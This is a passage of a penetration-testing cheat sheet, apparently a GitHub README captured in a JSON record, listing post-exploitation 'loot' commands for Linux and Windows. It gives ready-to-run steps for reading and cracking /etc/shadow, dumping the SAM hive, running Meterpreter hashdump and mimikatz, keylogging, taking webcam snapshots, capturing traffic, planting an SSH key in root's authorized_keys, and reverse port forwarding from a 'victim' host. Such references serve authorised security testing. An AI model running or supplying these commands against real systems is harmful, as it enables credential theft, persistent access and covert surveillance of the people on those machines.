[WindowsExploits](https://github.com/abatchy17/WindowsExploits)\n### Windows Port Forwarding\n\n```sh\n# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER\n# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;\nssh -L 127.0.0.1:8080:REMOTE_HOST:PORT user@SSH_SERVER\n\n# Run in victim (5985 WinRM):\nplink -l LOCALUSER -pw LOCALPASSWORD LOCALIP -R 5985:127.0.0.1:5985 -P 221\n\n```\n# Loot :\n## Linux\n\n### Passwords and hashes\n```bash\ncat /etc/passwd\ncat /etc/shadow\n\nunshadow passwd shadow \u003e unshadowed.txt\njohn --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt\n\n```\n\n### Dualhomed\n```bash\nifconfig\nifconfig -a\narp -a\n\n```\n\n### Tcpdump\n```bash\ntcpdump -i any -s0 -w capture.pcap\ntcpdump -i eth0 -w capture -n -U -s 0 src not $IP and dst not $IP\ntcpdump -vv -i eth0 src not $IP and dst not $IP\n\n```\n\n### Interesting files\n```bash\n#Meterpreter\nsearch -f *.txt\nsearch -f *.zip\nsearch -f *.doc\nsearch -f *.xls\nsearch -f config*\nsearch -f *.rar\nsearch -f *.docx\nsearch -f *.sql\nuse auxiliary/sniffer/psnuffle\n\n.ssh/\n.bash_history\n\n```\n\n### Databases\n```\n```\n\n### SSH-Keys\n```bash\nmkdir /root/.ssh 2\u003e/dev/null; echo '\u003cyour ssh-key\u003e' \u003e\u003e /root/.ssh/authorized_keys\n\n```\n\n### Browser\n\n### Mail\n```bash\n/var/mail\n/var/spool/mail\n\n```\n\n### GUI\nIf there is a gui we want to check out the browser.\n```bash\necho $DESKTOP_SESSION\necho $XDG_CURRENT_DESKTOP\necho $GDMSESSION\n\n```\n## Windows\n\n### Passwords and hashes\n```bash\nwce32.exe -w\nwce64.exe -w\nfgdump.exe\n\n# Loot passwords without tools\nreg.exe save hklm\\sam c:\\sam_backup\nreg.exe save hklm\\security c:\\security_backup\nreg.exe save hklm\\system c:\\system\n\n# Meterpreter\nhashdump\nload mimikatz\nmsv\n\n```\n\n### Dualhomed\n```bash\nipconfig /all\nroute print\n\n# What other machines have been connected\narp -a\n\n```\n\n### Tcpdump\n```bash\n# Meterpreter\nrun packetrecorder -li\nrun packetrecorder -i 1\n```\n\n### Interesting files\n```bash\n#Meterpreter\nsearch -f *.txt\nsearch -f *.zip\nsearch -f *.doc\nsearch -f *.xls\nsearch -f config*\nsearch -f *.rar\nsearch -f *.docx\nsearch -f *.sql\nhashdump\nkeysscan_start\nkeyscan_dump\nkeyscan_stop\nwebcam_snap\n\n# How to cat files in meterpreter\ncat c:\\\\Inetpub\\\\iissamples\\\\sdk\\\\asp\\\\components\\\\adrot.txt\n\n# Recursive search\ndir /s\n\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xtz%2FEnum_For_All","html_url":"https://awesome.ecosyste.ms/projects/github.com%2F0xtz%2FEnum_For_All","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2F0xtz%2FEnum_For_All/lists"}